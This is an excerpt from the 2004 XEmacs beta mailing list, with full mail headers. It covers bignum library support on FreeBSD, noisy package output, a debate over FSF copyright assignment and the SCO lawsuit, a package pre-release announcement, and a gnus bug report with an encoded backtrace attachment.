Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D4E3s22727; Tue, 13 Apr 2004 00:14:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D4DW022468 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 00:13:32 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D4DTQ22441 for turnbull@tux.org; Tue, 13 Apr 2004 00:13:30 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D4DTs22433 for ; Tue, 13 Apr 2004 00:13:29 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3D4DIDu031923; Mon, 12 Apr 2004 23:13:18 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3D4DIHS028853; Mon, 12 Apr 2004 23:13:18 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3D4DHvc028851; Mon, 12 Apr 2004 23:13:17 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Kaarthik Sivakumar Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD References: <863c7g4d9t.fsf@comcast.net> <864qrr2q16.fsf@comcast.net> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 12 Apr 2004 23:13:17 -0500 In-Reply-To: <864qrr2q16.fsf@comcast.net> (Kaarthik Sivakumar's message of "Sat, 10 Apr 2004 22:43:01 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Kaarthik Sivakumar wrote: >>>> "JJ" == Jerry James writes: > JJ> Now that's just weird. I could see a dependency from lcrypto to > JJ> lmp. Crypto functions routinely sling very large numbers around, > JJ> after all. But a dependency the other way just doesn't make any > JJ> sense to me at all. > > Sorry about this delay in responding to this. Been quite busy. I > checked on the FreeBSD mailing list and apparently libmp requires > libcrypto. But more than that, according to the libmp man page on > FreeBSD 5.x, libmp is deprecated and libcrypto is the way to go for > bignums. So if you are interested in writing to another interface for > bignums, here is the chance :). > > I am going to experiment with using the libgmp port on FreeBSD and > compile xemacs with libgmp instead of libmp. If that works, then that > is probably the way to go. In the meantime.... Right. The BSD MP support is intended to be for those who have BSD MP but can't get GMP for some reason. The GMP support is definitely more robust and more featureful (ratios and bigfloats), and probably performs better, too, considering all the awful stuff I had to do to use the BSD MP interface at all. I'll be happy to look over patches implementing libcrypto bignum support for FreeBSD. :-) > JJ> Does it work to do this? > > JJ> #define pow mp_pow > JJ> #undef min > JJ> #define min mp_min > JJ> #include > JJ> #undef pow > JJ> #undef min > JJ> #define min(a,b) (((a) <= (b)) ? (a) : (b)) > > I am trying to run make with this change. 'make' for me dies with > this last bit: > > --- > Loading float-sup.el... > *** Error in XEmacs initialization > (arith-error) > *** Backtrace > really-early-error-handler((arith-error)) > /(180.0 0.0) > (defconst radians-to-degrees (/ 180.0 pi) "Radian to degree conversion constant") So pi got initialized to 0, did it? I had this happen with Solaris MP awhile back, and fixed it, I thought. Have you done a "cvs update" recently? At any rate, it appears that the C preprocessor magic worked. I'll have to try to figure out a configure test that tells me whether that is necessary. I'd like to avoid doing it if possible, because it throws away the system's definition of min(a,b), if any. > JJ> If not, I really don't know how to get around the problem. Is > JJ> there any chance you could ask the FreeBSD people to prepend "mp_" > JJ> before all of the MP function names, like the Solaris people did? > > I did ask around. Apparently libmp is quite sacred and wont get > changed. Moreover it seems like since it is deprecated in later > versions, nobody is going to change it anyway. Best bet would be with > the libgmp port. Okay. > JJ> Thanks for your help figuring this out, Kaarthik. I'll put in the > JJ> configure patch, at least. > > Thanks for providing a chance to do something.. :) Hey, if you are looking for such chances, I've got a long list you can look over. :-) -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 13 03:34:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D7Y6s25418; Tue, 13 Apr 2004 03:34:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D7XvA25332 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 03:33:57 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16507.38885.466976.603302@gwyn.tux.org> Resent-Date: Tue, 13 Apr 2004 03:33:57 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org References: Organization: The XEmacs Project In-Reply-To: (Steve Youngs's message of "Tue, 13 Apr 2004 12:53:41 +1000") Message-ID: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 From: "Stephen J. Turnbull" To: XEmacs beta Subject: Re: Stdout chatter with test packages Date: Tue, 13 Apr 2004 14:54:30 +0900 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "SY" == Steve Youngs writes: SY> * Jerry James writes: >> Have I hurt myself somehow, or is there something about these >> new packages that is causing this to print? I don't see it >> immediately. There's something about the new packages; they're broken. SY> If these messages were in `view-lossage', would they have SY> attracted your attention? Would you have cared? `display-warning' can attract attention, although in general it's a bad idea. If you really must do this, I propose (display-warning 'package-announce ;; message formatting is intentional but suggestions welcome "Loading new package xlib-math. xlib-math uses Xlib to do math." 'notice) This will allow people who either don't want to hear about new packages at all or who have `display-warning-minimum-level' cranked up to 'emergency to disable this crap. I don't know if this works for 21.1. SY> In the grand scheme of things, does it really matter where SY> they show up? Yes. In Fucked New World of GNOME and MS Windows, we can expect typical lusers to never see stdout/stderr. Old-timers who know what they're doing don't need to see these messages, and if you use display-warning properly, they won't have to. In this particular case, it's pretty nonsensical. These packages are not part of the main distribution yet, so anybody who is using them probably knows what they are doing, and definitely does not need to be treated like a luser. SY> BTW, to put your mind at ease, I don't think anything's SY> broken. The packages are definitely broken. In principle, stdio is for the use of core debugging code only, mostly where we're afraid Lisp is already too hosed to be reliable or as temporary developer scaffolding. Even xemacs -batch knows how to implicitly use stdio streams. We are legally required by the GPL to read our users their rights. Everything else should be kept as quiet as possible. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 13 04:17:18 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D8H6s16949; Tue, 13 Apr 2004 04:17:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D8G2Q16106 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 04:16:02 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D8Fxp16048 for turnbull@tux.org; Tue, 13 Apr 2004 04:15:59 -0400 Received: from relay.mortal.ru ([62.5.206.77]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D8Fvs16021; Tue, 13 Apr 2004 04:15:57 -0400 Received: from us.dmz.local (wus000.dmz.local [10.32.1.6]) by relay.mortal.ru (8.11.6/8.11.6) with ESMTP id i3D8Frv18870; Tue, 13 Apr 2004 12:15:53 +0400 Received: from us.dmz.local (localhost.dmz.local [127.0.0.1]) by us.dmz.local (8.12.3/8.12.3) with ESMTP id i3D8KrGg021740; Tue, 13 Apr 2004 12:20:53 +0400 (MSD) (envelope-from zevlg@yandex.ru) Received: (from wtc05@localhost) by us.dmz.local (8.12.3/8.12.3/Submit) id i3D8KqOI021739; Tue, 13 Apr 2004 12:20:52 +0400 (MSD) X-Authentication-Warning: us.dmz.local: wtc05 set sender to zevlg@yandex.ru using -f To: "Stephen J. Turnbull" Cc: XEmacs beta Subject: Re: Stdout chatter with test packages References: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> From: Zajcev Evgeny X-Face: "5}C(Ve&0,cfnPM*.j!SMQTCsm^+Wk+i~W\_k9qVJdd*uc#}o)(YzI"M*@M9{xWh4WV-o7hq0CBmtE%(4J(Qw1y@JpI,Eb3".Y/qD|O/]'nD Date: Tue, 13 Apr 2004 12:20:52 +0400 In-Reply-To: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Tue, 13 Apr 2004 14:54:30 +0900") Message-ID: <827jwknva3.fsf@us.dmz.local> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celery, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: >>>>>> "SY" == Steve Youngs writes: > > SY> * Jerry James writes: > > >> Have I hurt myself somehow, or is there something about these > >> new packages that is causing this to print? I don't see it > >> immediately. > > There's something about the new packages; they're broken. I did not fully followed problem, but is there something that can be fixed in xlib or xwem to ommit that? [..snip..] -- lg From xemacs-beta-admin@xemacs.org Tue Apr 13 04:23:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D8N3s20433; Tue, 13 Apr 2004 04:23:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D8M1d19744 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 04:22:01 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D8LuY19685 for turnbull@tux.org; Tue, 13 Apr 2004 04:21:56 -0400 Received: from mx3.ibbsonline.com (mx3.ibbsonline.com [67.32.118.44]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D8Lus19671 for ; Tue, 13 Apr 2004 04:21:56 -0400 Received: from classicnet.net (classicnet.net [65.83.241.170]) by mx3.ibbsonline.com (Postfix) with ESMTP id F36B8FC377 for ; Tue, 13 Apr 2004 04:36:02 -0400 (EDT) Received: from classicnet.net [207.254.249.154] by classicnet.net with ESMTP (SMTPD32-8.03) id A2D18370134; Tue, 13 Apr 2004 04:20:33 -0400 Message-ID: <407BA318.50209@classicnet.net> Date: Tue, 13 Apr 2004 03:21:44 -0500 From: Rett Williams User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: xemacs-beta@xemacs.org Subject: Re: Merge Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at ibbsonline.com X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Does not the attitude of legal "ignorance" come under a slightly different light and priority when the current environment is considered...SCO, etc. Maybe it would work better if you set things up where SCO or it's puppet master MS could grab the XEMACS code without contributing back. I have absolutely no problem with your fork. The way I read the GPL, you can fill out the documents and contribute back your copyright without in any way yielding to anything that FSF or Richard Stallman wishes. He may express his wishes, and I am sure that he will, but you are free to create in whatever manner that you wish. Not meeting the legal niceties, however faintly, leaves us all open to further attack, and that is unnecessary and seemingly a matter of misplaced pride and even a bit of laziness. Do what you wish to do, but also be a part of the community. Software, and especially it's use is a social process. If there are no users, then there is no technology. Grow up. Everett L.(Rett) Williams rett@classicnet.net From xemacs-beta-admin@xemacs.org Tue Apr 13 05:06:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D968s17972; Tue, 13 Apr 2004 05:06:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D95fT17617 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 05:05:41 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D95dX17579 for turnbull@tux.org; Tue, 13 Apr 2004 05:05:39 -0400 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D95cs17544 for ; Tue, 13 Apr 2004 05:05:38 -0400 Received: from pd95e67ee.dip.t-dialin.net ([217.94.103.238] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1BDJrN-000Bw4-5T for xemacs-beta@xemacs.org; Tue, 13 Apr 2004 11:05:37 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1BDJrM-000C0W-NH for xemacs-beta@xemacs.org; Tue, 13 Apr 2004 11:05:36 +0200 To: xemacs-beta@xemacs.org Subject: XEmacs Packages have been pre-released (2004-04-13-10) From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Tue, 13 Apr 2004 11:05:36 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey there everyone. I have just added the following packages to the 'Pre-Releases' directory: New Packages in Pre-Release: =========================== mail-lib-1.65-pkg.tar.gz upstream version: none python-modes-1.06-pkg.tar.gz upstream version: none Previously Announced Packages Still in Pre-Release: ================================================== c-support-1.20-pkg.tar.gz upstream version: none ecb-1.17-pkg.tar.gz upstream version: 2.21 ecrypto-0.17-pkg.tar.gz upstream version: 2.0 ediff-1.50-pkg.tar.gz upstream version: 2.75 erc-0.08-pkg.tar.gz upstream version: Version 4.0 Revision: 1.640 escreen-1.01-pkg.tar.gz upstream version: 1.16 fortran-modes-1.04-pkg.tar.gz upstream version: none hyperbole-1.15-pkg.tar.gz upstream version: 4.18 mmm-mode-1.02-pkg.tar.gz upstream version: 0.4.7 net-utils-1.42-pkg.tar.gz upstream version: N/A prog-modes-1.96-pkg.tar.gz upstream version: none ps-print-1.10-pkg.tar.gz upstream version: 6.5.6 reftex-1.34-pkg.tar.gz upstream version: 4.21 text-modes-1.76-pkg.tar.gz upstream version: none vhdl-1.19-pkg.tar.gz upstream version: 3.32.20 x-symbol-1.10-pkg.tar.gz upstream version: 4.5.1 xemacs-base-1.86-pkg.tar.gz upstream version: none xemacs-devel-1.62-pkg.tar.gz upstream version: none xlib-1.08-pkg.tar.gz upstream version: 0.1 xwem-1.08-pkg.tar.gz upstream version: 0.1 Detailed Changes: ================ - ------- ChangeLog Entries from xemacs-packages/mail-lib/ChangeLog ------- 2004-04-13 Norbert Koch * Makefile (VERSION): XEmacs package 1.65 released. 2004-04-09 Simon Josefsson * smtpmail.el: Add comment, based on report by kdc@rcn.com (Kevin D. Clark). - ------- ChangeLog Entries from xemacs-packages/python-modes/ChangeLog ------- 2004-04-13 Norbert Koch * Makefile (VERSION): XEmacs package 1.06 released. Installing These: ================ Manually: - -------- 1) Download the packages that you want to install from: /ftp.xemacs.org:/pub/xemacs/beta/experimental/packages/ 2) Unpack them to: [1] /usr/local/lib/xemacs/xemacs-packages/ 3) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.[245].x): - ---------------------------------------------- 1) Tools -> Packages -> Add Download Site -> Pre-Releases 2) Tools -> Packages -> List and Install 3) Select the packages you wish to install (there are brief instructions at the bottom of the packages buffer). 4) Packages -> Install/Remove Selected 5) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.1.14): - ------------------------------------------- 1) Options -> Manage Packages -> Add Download Site -> Pre-Releases 2) Options -> Manage Packages -> List and Install 3 - 5) As per XEmacs 21.[245].x. norbert - XEmacs Package Release Manager. Footnotes: [1] Note: Mule packages should be installed into: /usr/local/lib/xemacs/mule-packages/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQFAe61ggu3ywdHdhM0RApaCAKCi/1fLFbVAFXKH9Vp1uTHsUOgL7gCgh3IG HZSTsGqeXqvDBhzcS7un1II= =LUhF -----END PGP SIGNATURE----- From xemacs-beta-admin@xemacs.org Tue Apr 13 06:42:27 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DAg5s06176; Tue, 13 Apr 2004 06:42:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DAfah05715 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 06:41:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DAfWQ05638 for turnbull@tux.org; Tue, 13 Apr 2004 06:41:32 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DAfTs05600 for ; Tue, 13 Apr 2004 06:41:29 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDLLz-00068h-00; Tue, 13 Apr 2004 19:41:19 +0900 To: Rett Williams Cc: xemacs-beta@xemacs.org Subject: Re: Merge References: <407BA318.50209@classicnet.net> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 13 Apr 2004 19:41:19 +0900 In-Reply-To: <407BA318.50209@classicnet.net> (Rett Williams's message of "Tue, 13 Apr 2004 03:21:44 -0500") Message-ID: <87d66c6tyo.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Rett" == Rett Williams writes: Rett> Does not the attitude of legal "ignorance" come under a Rett> slightly different light and priority when the current Rett> environment is considered...SCO, etc. If by "legal 'ignorance'" you mean XEmacs's nature as community-owned software, no, at least not as far as I'm concerned. The form of the SCO attack was predictable, and I decided long ago that assignments and employer waivers do very little to reduce the risk to the community (see below). The fact that it has actually happened doesn't do anything to change the ex ante analysis. I would certainly enter any discussion that other core developers started without prejudice, but that's my own current position, so I see no need to start a discussion myself. Rett> Maybe it would work better if you set things up where SCO or Rett> it's puppet master MS could grab the XEMACS code without Rett> contributing back. Well, yes, _I personally_ prefer to release my code under permissive licenses.[1] However, _we_ can't do that, because the FSF owns much of our code, and two very big chunks of the rest are owned by Sun Microsystems and the Japanese government. Rett> you are free to create in whatever manner that you wish. We are not free to distribute such creations, however. We are bound by the GPL, and by FSF ownership. On several occasions we have been requested by the FSF (actually, by rms; I believe it would have been followed up by a lawyer letter, because rms takes his responsibilities seriously) to change or remove code that in his judgement violated the GPL, or would "encourage" violations. A recent example involved causing our Makefiles to choke and die if an attempt was made to build a Qt-enabled XEmacs on MS Windows---and that is on a CVS branch that few people even know about. Rett> Not meeting the legal niceties, We do. Evidently you are clueless regarding what those are. All of our code carries copyright notices and is licensed under the GPL, as it must be, except for the Texinfo documentation, most of which must be under the old Emacs documentation license. The FSF assignment of code, and requiring signed employer waivers, are not no-brainer "legal niceties". They are a particular legal defense strategy advocated by the FSF, with which many of us disagree[2]. In fact, the current situation w.r.t. XEmacs ownership is identical to that of the Linux kernel, and even many packages distributed by GNU. AFAIK GNU has not changed its policy vis-a-vis those packages, nor do I know of any rush to validate contributions and assign code to the FSF. Neither assignment nor employer waivers protect against SCO-style attacks (see below), except that the FSF would probably be able to sue the assignor (the indemnification clause in standard FSF assignments) for any damages it was required to pay. In the few cases where "random developers" send us patches, they are invariably sufficiently small that the FSF would not require an assignment. Other patches come from people we know (and in many cases they have assigned very similar code to the FSF), the risk is small. And we have no financial resources to attract frivolous lawsuits. So, I see very little risk in our policy; the main harm done is to decrease the FSF's ability to change licenses of ever-bigger chunks of code in arbitrary fashion. Because of the soi-disant "Free Documentation License" and what I've seen of discussion of GPL v3, I personally no longer trust the FSF to revise its licenses in ways I would consider reasonable, so I think that is actually a good thing. Other XEmacs community members surely have different opinions. Rett> ... leaves us all open to further attack Unlikely to be affected by assignments. Had Linux been assigned to the FSF, the identical result would have ensued, except that the FSF likely would be promoted from "amicus" to "defendent." I've read Mr. Moglen's analyses; I have no doubt that he would have considered assignments by IBM et al valid, IBM _is_ the employer so no employer waivers would be necessary, the code would have gone into Linux---and SCO would have sued IBM. So, yes, we are open to further attack. However, it will be of the same ilk as the SCO attack: a frivolous "greenmail" lawsuit based on some tenuous legal whimsy, which assignments would not help prevent. The remaining possibility is a Gosling-style attack by one of the large code contributors, but I fail to see where the profit would be for the legal extortionist, as most of our code is owned by the FSF. They could prevent redistribution of XEmacs, but I don't know anybody who would consider that a profit in itself, and there is nobody who would be willing to pay royalties, they'd just switch to the wholly FSF-owned GNU Emacs. NB: IANAL, but at least the one real lawyer I asked---for his unprofessional:-) opinion, no money changed hands---considers this analysis, including the threat assessment, plausible. Rett> Grow up. We have. The Lucid developers, and we XEmacs developers who follow them, have had to make some painful choices---including disagreeing with rms, whose technical and social contributions are admired by all of us[3]---and the current situation is the result. Footnotes: [1] However after careful consideration, I have decided to respect Richard Stallman's wishes vis-a-vis Emacs, and all my Emacs code is not only released under the GPL, but the copyright is assigned to the FSF as well. [2] At the time of the fork _all_ Lucid code was assigned to the FSF (and Jamie Zawinski has claimed that Lucid filed an automatic assignment, but I have been unable to confirm that). [3] I honestly believe this to be true, despite the amount of flame that has accompanied some of the discussions. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 13 07:44:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DBi6s23840; Tue, 13 Apr 2004 07:44:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DBhnn23628 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 07:43:49 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DBhj123580 for turnbull@tux.org; Tue, 13 Apr 2004 07:43:45 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DBhis23558 for ; Tue, 13 Apr 2004 07:43:44 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id E94A1ADF5 for ; Tue, 13 Apr 2004 13:43:32 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id A7CD5AD80 for ; Tue, 13 Apr 2004 13:43:32 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BDMBu-0006Cz-00 for ; Tue, 13 Apr 2004 13:34:58 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="6u2T2v1Jo/" Content-Transfer-Encoding: 7bit Message-ID: <16507.53344.754521.398763@gargle.gargle.HOWL> Date: Tue, 13 Apr 2004 13:34:56 +0200 To: XEmacs Beta Subject: [Bug: 21.5-b17] gnus + bignums(?) Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --6u2T2v1Jo/ Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit ================================================================ Dear Bug Team! i built xemacs from cvs, and i enabled the new bignums support M-x gnus RET failed, please see the attached backtrace i tried building a new copy of xemacs, from the same sources, except disabling bignum support, and gnus worked as fine as usual i'm sending this bug report from the xemacs with bignums enabled ciao --6u2T2v1Jo/ Content-Type: application/octet-stream Content-Disposition: attachment; filename="backtrace.uue" Content-Transfer-Encoding: base64 YmVnaW4gNjQ0IGJhY2t0cmFjZQpNNFZFRztGJUw6NllHLkJgSDk3KVI7VyhAKERFTj1GJUw6 NjBAOSYlVDkzSEA1JzVFKyJgUSxSISE8JyhACk0sQ2BQLSJgUSxTSFIsU0hSLjJgSywjKFAs IihJIkJgQDxWRUc7RiVMKiY1UjxGXVIoIkBCMjZZVjg2UUkKTTkiIUQ4NzFFLkIhND02NEwo IyRTKCQlUDxCYFIsI2BUKCMkUy5DKFMuQyhZKCJMUCxDYFAoQkRJIkJgQApNOFY1UjxGXVIq IikpO0c5QTsmRUQoJjFBPSY0WigiNVMoQmBCNSc1RSsiYFEsUiEhPCcoQCxDYFAtImBRCk0s U0hSLFNIUi4yYEssIyhQLCIoSSJCYEA4NyFQOydESDhWNVI8Rl1SKCIpKTtHOUE7JkVEKCYx QT0mNFoKTSgiNVMoQmBCNSc1RSsiYFEsUiEhPCcoQCxDYFAtImBRLFNIUixTSFIuMmBLLCMo UCwiKEkiQmBAOTcpUgpNO1coSChERU49RiVMOjYwQDkmJVQ5M0hAKTcsQigiKTQ9NjRMKCMk UygkJVA8QmBSLCNgVCgjJFMuQyhTCk0uQyhZKCJMUCxDYFAoQkQqKCIhRDg3MUUrNzFPKzcx STs2NEgoRTFVOTJQQCwzLEAwNyFSKCMoUCwjMEAKTSwzLFosQyxaLENEQCpTYFIsI2BCKjBI QCgmKVk9JjRNOFZdRDkyQEIrQlhOKEIhOztGWVQ8IlVDO1ZZTgpNOTYtVDo2XU4rNiVMOjct VCgnMUk7NjRAODZRSTxXMEA5NllUPEdEQDwnKU84VjVTPFIhQj02OUY5NyhACk05JiVUOTJV VDtSVVQ6NlVFKCNAQDkmNUM7VjFFKzcxSTs2NEAsImBWLTM0Uy1CYEI3RVE8K0BUXzcmWEIK 